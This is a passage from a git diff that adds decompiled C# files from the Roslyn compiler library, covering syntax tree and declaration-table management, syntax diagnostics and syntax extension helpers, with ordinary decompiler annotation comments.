_lazyState, CreateState(base.ExternalSyntaxTrees, base.ScriptClassName, base.Resolver, base.MessageProvider, base.IsSubmission), null); + } + return _lazyState; + } + + private static State CreateState(ImmutableArray externalSyntaxTrees, string scriptClassName, SourceReferenceResolver resolver, CommonMessageProvider messageProvider, bool isSubmission) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PooledDictionary instance2 = PooledDictionary.GetInstance(); + PooledDictionary> instance3 = PooledDictionary>.GetInstance(); + PooledDictionary instance4 = PooledDictionary.GetInstance(); + PooledDictionary> instance5 = PooledDictionary>.GetInstance(); + PooledDictionary>>>> instance6 = PooledDictionary>>>>.GetInstance(); + DeclarationTable declTable = DeclarationTable.Empty; + ImmutableArray.Enumerator enumerator = externalSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + AppendAllSyntaxTrees(instance, current, scriptClassName, resolver, messageProvider, isSubmission, (IDictionary)instance2, (IDictionary>)instance3, (IDictionary)instance4, (IDictionary>)instance5, (IDictionary>>>>)instance6, ref declTable); + } + return new State(instance.ToImmutableAndFree(), instance2.ToImmutableDictionaryAndFree(), instance3.ToImmutableDictionaryAndFree(), instance4.ToImmutableDictionaryAndFree(), instance5.ToImmutableDictionaryAndFree(), instance6.ToImmutableDictionaryAndFree(), declTable); + } + + public SyntaxAndDeclarationManager AddSyntaxTrees(IEnumerable trees) + { + string scriptClassName = base.ScriptClassName; + SourceReferenceResolver resolver = base.Resolver; + CommonMessageProvider messageProvider = base.MessageProvider; + bool isSubmission = base.IsSubmission; + State lazyState = _lazyState; + ImmutableArray immutableArray = base.ExternalSyntaxTrees.AddRange(trees); + if (lazyState == null) + { + return WithExternalSyntaxTrees(immutableArray); + } + ImmutableDictionary.Builder builder = lazyState.OrdinalMap.ToBuilder(); + ImmutableDictionary>.Builder builder2 = lazyState.LoadDirectiveMap.ToBuilder(); + ImmutableDictionary.Builder builder3 = lazyState.LoadedSyntaxTreeMap.ToBuilder(); + ImmutableDictionary>.Builder builder4 = lazyState.RootNamespaces.ToBuilder(); + ImmutableDictionary>>>>.Builder builder5 = lazyState.LastComputedMemberNames.ToBuilder(); + DeclarationTable declTable = lazyState.DeclarationTable; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(lazyState.SyntaxTrees); + foreach (SyntaxTree tree in trees) + { + AppendAllSyntaxTrees(instance, tree, scriptClassName, resolver, messageProvider, isSubmission, builder, builder2, builder3, builder4, builder5, ref declTable); + } + lazyState = new State(instance.ToImmutableAndFree(), builder.ToImmutableDictionary(), builder2.ToImmutableDictionary(), builder3.ToImmutableDictionary(), builder4.ToImmutableDictionary(), builder5.ToImmutableDictionary(), declTable); + return new SyntaxAndDeclarationManager(immutableArray, scriptClassName, resolver, messageProvider, isSubmission, lazyState); + } + + private static void AppendAllSyntaxTrees(ArrayBuilder treesBuilder, SyntaxTree tree, string scriptClassName, SourceReferenceResolver resolver, CommonMessageProvider messageProvider, bool isSubmission, IDictionary ordinalMapBuilder, IDictionary> loadDirectiveMapBuilder, IDictionary loadedSyntaxTreeMapBuilder, IDictionary> declMapBuilder, IDictionary>>>> lastComputedMemberNamesMap, ref DeclarationTable declTable) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + if ((int)tree.Options.Kind == 1) + { + AppendAllLoadedSyntaxTrees(treesBuilder, tree, scriptClassName, resolver, messageProvider, isSubmission, ordinalMapBuilder, loadDirectiveMapBuilder, loadedSyntaxTreeMapBuilder, declMapBuilder, lastComputedMemberNamesMap, ref declTable); + } + AddSyntaxTreeToDeclarationMapAndTable(tree, scriptClassName, isSubmission, declMapBuilder, OneOrMany>>>.Empty, ref declTable); + treesBuilder.Add(tree); + ordinalMapBuilder.Add(tree, ordinalMapBuilder.Count); + lastComputedMemberNamesMap.Add(tree, OneOrMany>>>.Empty); + } + + private static void AppendAllLoadedSyntaxTrees(ArrayBuilder treesBuilder, SyntaxTree tree, string scriptClassName, SourceReferenceResolver resolver, CommonMessageProvider messageProvider, bool isSubmission, IDictionary ordinalMapBuilder, IDictionary> loadDirectiveMapBuilder, IDictionary loadedSyntaxTreeMapBuilder, IDictionary> declMapBuilder, IDictionary>>>> lastComputedMemberNamesMap, ref DeclarationTable declTable) + { + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val = null; + foreach (LoadDirectiveTriviaSyntax loadDirective in tree.GetCompilationUnitRoot().GetLoadDirectives()) + { + SyntaxToken file = loadDirective.File; + string text = (string)((SyntaxToken)(ref file)).Value; + if (text == null) + { + continue; + } + DiagnosticBag instance = DiagnosticBag.GetInstance(); + string text2 = null; + if (resolver == null) + { + instance.Add(messageProvider.CreateDiagnostic(8099, ((SyntaxNode)loadDirective).Location)); + } + else + { + text2 = resolver.ResolveReference(text, tree.FilePath); + if (text2 == null) + { + instance.Add(messageProvider.CreateDiagnostic(1504, ((SyntaxToken)(ref file)).GetLocation(), new object[2] + { + text, + CSharpResources.CouldNotFindFile + })); + } + else if (!loadedSyntaxTreeMapBuilder.ContainsKey(text2)) + { + try + { + SyntaxTree val2 = SyntaxFactory.ParseSyntaxTree(resolver.ReadText(text2), tree.Options, text2); + loadedSyntaxTreeMapBuilder.Add(val2.FilePath, val2); + AppendAllSyntaxTrees(treesBuilder, val2, scriptClassName, resolver, messageProvider, isSubmission, ordinalMapBuilder, loadDirectiveMapBuilder, loadedSyntaxTreeMapBuilder, declMapBuilder, lastComputedMemberNamesMap, ref declTable); + } + catch (Exception ex) + { + instance.Add(CommonCompiler.ToFileReadDiagnostics(messageProvider, ex, text2), ((SyntaxToken)(ref file)).GetLocation()); + } + } + } + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add(new LoadDirective(text2, instance.ToReadOnlyAndFree())); + } + if (val != null) + { + loadDirectiveMapBuilder.Add(tree, val.ToImmutableAndFree()); + } + } + + private static void AddSyntaxTreeToDeclarationMapAndTable(SyntaxTree tree, string scriptClassName, bool isSubmission, IDictionary> declMapBuilder, OneOrMany>>> lastComputedMemberNames, ref DeclarationTable declTable) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + Lazy lazy = new Lazy(() => DeclarationTreeBuilder.ForTree(tree, scriptClassName, isSubmission, lastComputedMemberNames)); + declMapBuilder.Add(tree, lazy); + declTable = declTable.AddRootDeclaration(lazy); + } + + public SyntaxAndDeclarationManager RemoveSyntaxTrees(HashSet trees) + { + State lazyState = _lazyState; + ImmutableArray immutableArray = base.ExternalSyntaxTrees.RemoveAll((SyntaxTree t) => trees.Contains(t)); + if (lazyState == null) + { + return WithExternalSyntaxTrees(immutableArray); + } + ImmutableArray syntaxTrees = lazyState.SyntaxTrees; + ImmutableDictionary> immutableDictionary = lazyState.LoadDirectiveMap; + ImmutableDictionary immutableDictionary2 = lazyState.LoadedSyntaxTreeMap; + PooledHashSet instance = PooledHashSet.GetInstance(); + foreach (SyntaxTree tree in trees) + { + GetRemoveSet(tree, includeLoadedTrees: true, syntaxTrees, lazyState.OrdinalMap, immutableDictionary, immutableDictionary2, (HashSet)(object)instance, out var _, out var _); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + PooledDictionary instance3 = PooledDictionary.GetInstance(); + ImmutableDictionary>.Builder builder = lazyState.RootNamespaces.ToBuilder(); + ImmutableDictionary>>>>.Builder builder2 = lazyState.LastComputedMemberNames.ToBuilder(); + DeclarationTable declTable = lazyState.DeclarationTable; + ImmutableArray.Enumerator enumerator2 = syntaxTrees.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxTree current = enumerator2.Current; + if (((HashSet)(object)instance).Contains(current)) + { + immutableDictionary = immutableDictionary.Remove(current); + immutableDictionary2 = immutableDictionary2.Remove(current.FilePath); + builder2.Remove(current); + RemoveSyntaxTreeFromDeclarationMapAndTable(current, builder, ref declTable); + } + else if (!IsLoadedSyntaxTree(current, immutableDictionary2)) + { + UpdateSyntaxTreesAndOrdinalMapOnly(instance2, current, (IDictionary)instance3, immutableDictionary, immutableDictionary2); + } + } + instance.Free(); + lazyState = new State(instance2.ToImmutableAndFree(), instance3.ToImmutableDictionaryAndFree(), immutableDictionary, immutableDictionary2, builder.ToImmutableDictionary(), builder2.ToImmutableDictionary(), declTable); + return new SyntaxAndDeclarationManager(immutableArray, base.ScriptClassName, base.Resolver, base.MessageProvider, base.IsSubmission, lazyState); + } + + private static void GetRemoveSet(SyntaxTree oldTree, bool includeLoadedTrees, ImmutableArray syntaxTrees, ImmutableDictionary syntaxTreeOrdinalMap, ImmutableDictionary> loadDirectiveMap, ImmutableDictionary loadedSyntaxTreeMap, HashSet removeSet, out int totalReferencedTreeCount, out ImmutableArray oldLoadDirectives) + { + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + if (includeLoadedTrees && loadDirectiveMap.TryGetValue(oldTree, out oldLoadDirectives)) + { + GetRemoveSetForLoadedTrees(oldLoadDirectives, loadDirectiveMap, loadedSyntaxTreeMap, removeSet); + } + else + { + oldLoadDirectives = ImmutableArray.Empty; + } + removeSet.Add(oldTree); + totalReferencedTreeCount = removeSet.Count; + if (removeSet.Count <= 1) + { + return; + } + for (int i = syntaxTreeOrdinalMap[oldTree] + 1; i < syntaxTrees.Length; i++) + { + SyntaxTree key = syntaxTrees[i]; + if (!loadDirectiveMap.TryGetValue(key, out var value)) + { + continue; + } + ImmutableArray.Enumerator enumerator = value.GetEnumerator(); + while (enumerator.MoveNext()) + { + LoadDirective current = enumerator.Current; + if (TryGetLoadedSyntaxTree(loadedSyntaxTreeMap, current, out var loadedTree)) + { + removeSet.Remove(loadedTree); + } + } + } + } + + private static void GetRemoveSetForLoadedTrees(ImmutableArray loadDirectives, ImmutableDictionary> loadDirectiveMap, ImmutableDictionary loadedSyntaxTreeMap, HashSet removeSet) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = loadDirectives.GetEnumerator(); + while (enumerator.MoveNext()) + { + LoadDirective current = enumerator.Current; + if (current.ResolvedPath != null && TryGetLoadedSyntaxTree(loadedSyntaxTreeMap, current, out var loadedTree) && removeSet.Add(loadedTree) && loadDirectiveMap.TryGetValue(loadedTree, out var value)) + { + GetRemoveSetForLoadedTrees(value, loadDirectiveMap, loadedSyntaxTreeMap, removeSet); + } + } + } + + private static void RemoveSyntaxTreeFromDeclarationMapAndTable(SyntaxTree tree, IDictionary> declMap, ref DeclarationTable declTable) + { + Lazy lazyRootDeclaration = declMap[tree]; + declTable = declTable.RemoveRootDeclaration(lazyRootDeclaration); + declMap.Remove(tree); + } + + public SyntaxAndDeclarationManager ReplaceSyntaxTree(SyntaxTree oldTree, SyntaxTree newTree) + { + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_0211: Unknown result type (might be due to invalid IL or missing references) + //IL_0251: Unknown result type (might be due to invalid IL or missing references) + State lazyState = _lazyState; + ImmutableArray immutableArray = base.ExternalSyntaxTrees.Replace(oldTree, newTree); + if (lazyState == null) + { + return WithExternalSyntaxTrees(immutableArray); + } + IList loadDirectives = newTree.GetCompilationUnitRoot().GetLoadDirectives(); + bool flag = !oldTree.GetCompilationUnitRoot().GetLoadDirectives().SequenceEqual(loadDirectives); + ImmutableArray syntaxTrees = lazyState.SyntaxTrees; + ImmutableDictionary ordinalMap = lazyState.OrdinalMap; + ImmutableDictionary> loadDirectiveMap = lazyState.LoadDirectiveMap; + ImmutableDictionary loadedSyntaxTreeMap = lazyState.LoadedSyntaxTreeMap; + PooledHashSet instance = PooledHashSet.GetInstance(); + GetRemoveSet(oldTree, flag, syntaxTrees, ordinalMap, loadDirectiveMap, loadedSyntaxTreeMap, (HashSet)(object)instance, out var totalReferencedTreeCount, out var oldLoadDirectives); + ImmutableDictionary>.Builder builder = loadDirectiveMap.ToBuilder(); + ImmutableDictionary.Builder builder2 = loadedSyntaxTreeMap.ToBuilder(); + ImmutableDictionary>.Builder builder3 = lazyState.RootNamespaces.ToBuilder(); + ImmutableDictionary>>>>.Builder builder4 = lazyState.LastComputedMemberNames.ToBuilder(); + DeclarationTable declTable = lazyState.DeclarationTable; + OneOrMany>>> val = tryGetLastComputedMemberNames(oldTree, builder3, builder4); + foreach (SyntaxTree item in (HashSet)(object)instance) + { + builder.Remove(item); + builder2.Remove(item.FilePath); + builder4.Remove(item); + RemoveSyntaxTreeFromDeclarationMapAndTable(item, builder3, ref declTable); + } + instance.Free(); + int num = ordinalMap[oldTree]; + ImmutableArray syntaxTrees2; + if (flag) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + PooledDictionary instance3 = PooledDictionary.GetInstance(); + for (int i = 0; i <= num - totalReferencedTreeCount; i++) + { + SyntaxTree val2 = syntaxTrees[i]; + instance2.Add(val2); + ((Dictionary)(object)instance3).Add(val2, i); + } + AppendAllSyntaxTrees(instance2, newTree, base.ScriptClassName, base.Resolver, base.MessageProvider, base.IsSubmission, (IDictionary)instance3, builder, builder2, builder3, builder4, ref declTable); + for (int j = num + 1; j < syntaxTrees.Length; j++) + { + SyntaxTree tree = syntaxTrees[j]; + if (!IsLoadedSyntaxTree(tree, loadedSyntaxTreeMap)) + { + UpdateSyntaxTreesAndOrdinalMapOnly(instance2, tree, (IDictionary)instance3, loadDirectiveMap, loadedSyntaxTreeMap); + } + } + syntaxTrees2 = instance2.ToImmutableAndFree(); + ordinalMap = instance3.ToImmutableDictionaryAndFree(); + } + else + { + AddSyntaxTreeToDeclarationMapAndTable(newTree, base.ScriptClassName, base.IsSubmission, builder3, val, ref declTable); + if (loadDirectives.Any()) + { + builder[newTree] = oldLoadDirectives; + } + syntaxTrees2 = syntaxTrees.SetItem(num, newTree); + ordinalMap = ordinalMap.Remove(oldTree); + ordinalMap = ordinalMap.SetItem(newTree, num); + builder4.Add(newTree, val); + } + lazyState = new State(syntaxTrees2, ordinalMap, builder.ToImmutable(), builder2.ToImmutable(), builder3.ToImmutable(), builder4.ToImmutable(), declTable); + return new SyntaxAndDeclarationManager(immutableArray, base.ScriptClassName, base.Resolver, base.MessageProvider, base.IsSubmission, lazyState); + static OneOrMany>>> tryGetLastComputedMemberNames(SyntaxTree key, ImmutableDictionary>.Builder declMapBuilder, ImmutableDictionary>>>>.Builder lastComputedMemberNamesMap) + { + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + Lazy lazy = declMapBuilder[key]; + if (lazy.IsValueCreated) + { + Stack stack = s_declarationStack.Allocate(); + stack.Push(lazy.Value); + ArrayBuilder>>> instance4 = ArrayBuilder>>>.GetInstance(); + do + { + SingleNamespaceOrTypeDeclaration singleNamespaceOrTypeDeclaration = stack.Pop(); + for (int num2 = singleNamespaceOrTypeDeclaration.Children.Length - 1; num2 >= 0; num2--) + { + stack.Push(singleNamespaceOrTypeDeclaration.Children[num2]); + } + if (singleNamespaceOrTypeDeclaration is SingleTypeDeclaration singleTypeDeclaration && DeclarationTreeBuilder.CachesComputedMemberNames(singleTypeDeclaration)) + { + instance4.Add(new WeakReference>>(singleTypeDeclaration.MemberNames)); + } + } + while (stack.Count > 0); + s_declarationStack.Free(stack); + return ArrayBuilderExtensions.ToOneOrManyAndFree>>>(instance4); + } + if (lastComputedMemberNamesMap.TryGetValue(key, out var value)) + { + return value; + } + return OneOrMany>>>.Empty; + } + } + + internal SyntaxAndDeclarationManager WithExternalSyntaxTrees(ImmutableArray trees) + { + return new SyntaxAndDeclarationManager(trees, base.ScriptClassName, base.Resolver, base.MessageProvider, base.IsSubmission, null); + } + + internal static bool IsLoadedSyntaxTree(SyntaxTree tree, ImmutableDictionary loadedSyntaxTreeMap) + { + if (loadedSyntaxTreeMap.TryGetValue(tree.FilePath, out var value)) + { + return tree == value; + } + return false; + } + + private static void UpdateSyntaxTreesAndOrdinalMapOnly(ArrayBuilder treesBuilder, SyntaxTree tree, IDictionary ordinalMapBuilder, ImmutableDictionary> loadDirectiveMap, ImmutableDictionary loadedSyntaxTreeMap) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if ((int)tree.Options.Kind == 1 && loadDirectiveMap.TryGetValue(tree, out var value)) + { + ImmutableArray.Enumerator enumerator = value.GetEnumerator(); + while (enumerator.MoveNext()) + { + LoadDirective current = enumerator.Current; + if (current.ResolvedPath != null && TryGetLoadedSyntaxTree(loadedSyntaxTreeMap, current, out var loadedTree)) + { + UpdateSyntaxTreesAndOrdinalMapOnly(treesBuilder, loadedTree, ordinalMapBuilder, loadDirectiveMap, loadedSyntaxTreeMap); + } + } + } + treesBuilder.Add(tree); + ordinalMapBuilder.Add(tree, ordinalMapBuilder.Count); + } + + internal bool MayHaveReferenceDirectives() + { + return _lazyState?.DeclarationTable.ReferenceDirectives.Any() ?? base.ExternalSyntaxTrees.Any((SyntaxTree t) => t.HasReferenceOrLoadDirectives()); + } + + private static bool TryGetLoadedSyntaxTree(ImmutableDictionary loadedSyntaxTreeMap, LoadDirective directive, out SyntaxTree loadedTree) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if (loadedSyntaxTreeMap.TryGetValue(directive.ResolvedPath, out loadedTree)) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxDiagnosticInfo.cs new file mode 100644 index 0000000..8aa53ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxDiagnosticInfo.cs @@ -0,0 +1,71 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class SyntaxDiagnosticInfo : DiagnosticInfo +{ + internal readonly int Offset; + + internal readonly int Width; + + static SyntaxDiagnosticInfo() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxDiagnosticInfo), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxDiagnosticInfo(r))); + } + + internal SyntaxDiagnosticInfo(int offset, int width, ErrorCode code, params object[] args) + : base((CommonMessageProvider)(object)MessageProvider.Instance, (int)code, args) + { + Offset = offset; + Width = width; + } + + internal SyntaxDiagnosticInfo(int offset, int width, ErrorCode code) + : this(offset, width, code, Array.Empty()) + { + } + + internal SyntaxDiagnosticInfo(ErrorCode code, params object[] args) + : this(0, 0, code, args) + { + } + + internal SyntaxDiagnosticInfo(ErrorCode code) + : this(0, 0, code) + { + } + + public SyntaxDiagnosticInfo WithOffset(int offset) + { + return new SyntaxDiagnosticInfo(offset, Width, (ErrorCode)((DiagnosticInfo)this).Code, ((DiagnosticInfo)this).Arguments); + } + + protected SyntaxDiagnosticInfo(SyntaxDiagnosticInfo original, DiagnosticSeverity severity) + : base((DiagnosticInfo)(object)original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + Offset = original.Offset; + Width = original.Width; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new SyntaxDiagnosticInfo(this, severity); + } + + protected override void WriteTo(ObjectWriter writer) + { + ((DiagnosticInfo)this).WriteTo(writer); + writer.WriteInt32(Offset); + writer.WriteInt32(Width); + } + + protected SyntaxDiagnosticInfo(ObjectReader reader) + : base(reader) + { + Offset = reader.ReadInt32(); + Width = reader.ReadInt32(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxExtensions.cs new file mode 100644 index 0000000..b848218 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxExtensions.cs @@ -0,0 +1,424 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class SyntaxExtensions +{ + internal static ArrowExpressionClauseSyntax? GetExpressionBodySyntax(this CSharpSyntaxNode node) + { + ArrowExpressionClauseSyntax result = null; + switch (node.Kind()) + { + case SyntaxKind.ArrowExpressionClause: + result = (ArrowExpressionClauseSyntax)node; + break; + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + result = ((BaseMethodDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.UnknownAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + result = ((AccessorDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.PropertyDeclaration: + result = ((PropertyDeclarationSyntax)node).ExpressionBody; + break; + case SyntaxKind.IndexerDeclaration: + result = ((IndexerDeclarationSyntax)node).ExpressionBody; + break; + default: + ExceptionUtilities.UnexpectedValue((object)node.Kind()); + break; + } + return result; + } + + public static SyntaxToken NormalizeWhitespace(this SyntaxToken token, string indentation, bool elasticTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNormalizer.Normalize(token, indentation, "\r\n", elasticTrivia); + } + + internal static SyntaxToken Identifier(this DeclarationExpressionSyntax self) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ((SingleVariableDesignationSyntax)self.Designation).Identifier; + } + + public static SyntaxToken NormalizeWhitespace(this SyntaxToken token, string indentation = " ", string eol = "\r\n", bool elasticTrivia = false) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNormalizer.Normalize(token, indentation, eol, elasticTrivia); + } + + public static SyntaxTriviaList NormalizeWhitespace(this SyntaxTriviaList list, string indentation, bool elasticTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNormalizer.Normalize(list, indentation, "\r\n", elasticTrivia); + } + + public static SyntaxTriviaList NormalizeWhitespace(this SyntaxTriviaList list, string indentation = " ", string eol = "\r\n", bool elasticTrivia = false) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return SyntaxNormalizer.Normalize(list, indentation, eol, elasticTrivia); + } + + public static SyntaxTriviaList ToSyntaxTriviaList(this IEnumerable sequence) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SyntaxFactory.TriviaList(sequence); + } + + internal static XmlNameAttributeElementKind GetElementKind(this XmlNameAttributeSyntax attributeSyntax) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode parent = attributeSyntax.Parent; + SyntaxKind syntaxKind = parent.Kind(); + SyntaxToken localName; + string valueText; + switch (syntaxKind) + { + case SyntaxKind.XmlEmptyElement: + localName = ((XmlEmptyElementSyntax)parent).Name.LocalName; + valueText = ((SyntaxToken)(ref localName)).ValueText; + break; + case SyntaxKind.XmlElementStartTag: + localName = ((XmlElementStartTagSyntax)parent).Name.LocalName; + valueText = ((SyntaxToken)(ref localName)).ValueText; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)syntaxKind); + } + if (DocumentationCommentXmlNames.ElementEquals(valueText, "param", false)) + { + return XmlNameAttributeElementKind.Parameter; + } + if (DocumentationCommentXmlNames.ElementEquals(valueText, "paramref", false)) + { + return XmlNameAttributeElementKind.ParameterReference; + } + if (DocumentationCommentXmlNames.ElementEquals(valueText, "typeparam", false)) + { + return XmlNameAttributeElementKind.TypeParameter; + } + if (DocumentationCommentXmlNames.ElementEquals(valueText, "typeparamref", false)) + { + return XmlNameAttributeElementKind.TypeParameterReference; + } + throw ExceptionUtilities.UnexpectedValue((object)valueText); + } + + internal static bool ReportDocumentationCommentDiagnostics(this SyntaxTree tree) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + return (int)tree.Options.DocumentationMode >= 2; + } + + public static SimpleNameSyntax WithIdentifier(this SimpleNameSyntax simpleName, SyntaxToken identifier) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (simpleName.Kind() != SyntaxKind.IdentifierName) + { + return ((GenericNameSyntax)simpleName).WithIdentifier(identifier); + } + return ((IdentifierNameSyntax)simpleName).WithIdentifier(identifier); + } + + internal static bool IsTypeInContextWhichNeedsDynamicAttribute(this IdentifierNameSyntax typeNode) + { + if (SyntaxFacts.IsInTypeOnlyContext(typeNode)) + { + return IsInContextWhichNeedsDynamicAttribute(typeNode); + } + return false; + } + + internal static ExpressionSyntax SkipParens(this ExpressionSyntax expression) + { + while (expression.Kind() == SyntaxKind.ParenthesizedExpression) + { + expression = ((ParenthesizedExpressionSyntax)expression).Expression; + } + return expression; + } + + internal static bool IsDeconstructionLeft(this ExpressionSyntax node) + { + return node.Kind() switch + { + SyntaxKind.TupleExpression => true, + SyntaxKind.DeclarationExpression => ((DeclarationExpressionSyntax)node).Designation.Kind() == SyntaxKind.ParenthesizedVariableDesignation, + _ => false, + }; + } + + internal static bool IsDeconstruction(this AssignmentExpressionSyntax self) + { + return self.Left.IsDeconstructionLeft(); + } + + private static bool IsInContextWhichNeedsDynamicAttribute(CSharpSyntaxNode node) + { + switch (node.Kind()) + { + case SyntaxKind.DelegateDeclaration: + case SyntaxKind.BaseList: + case SyntaxKind.SimpleBaseType: + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.EventDeclaration: + case SyntaxKind.IndexerDeclaration: + case SyntaxKind.Parameter: + case SyntaxKind.PrimaryConstructorBaseType: + return true; + case SyntaxKind.Block: + case SyntaxKind.VariableDeclarator: + case SyntaxKind.EqualsValueClause: + case SyntaxKind.Attribute: + case SyntaxKind.TypeParameterConstraintClause: + return false; + default: + if (node.Parent != null) + { + return IsInContextWhichNeedsDynamicAttribute(node.Parent); + } + return false; + } + } + + public static IndexerDeclarationSyntax Update(this IndexerDeclarationSyntax syntax, SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax accessorList) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return syntax.Update(attributeLists, modifiers, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, null, default(SyntaxToken)); + } + + public static OperatorDeclarationSyntax Update(this OperatorDeclarationSyntax syntax, SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, SyntaxToken operatorKeyword, SyntaxToken operatorToken, ParameterListSyntax parameterList, BlockSyntax block, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return syntax.Update(attributeLists, modifiers, returnType, operatorKeyword, operatorToken, parameterList, block, null, semicolonToken); + } + + public static MethodDeclarationSyntax Update(this MethodDeclarationSyntax syntax, SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax returnType, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, TypeParameterListSyntax typeParameterList, ParameterListSyntax parameterList, SyntaxList constraintClauses, BlockSyntax block, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + 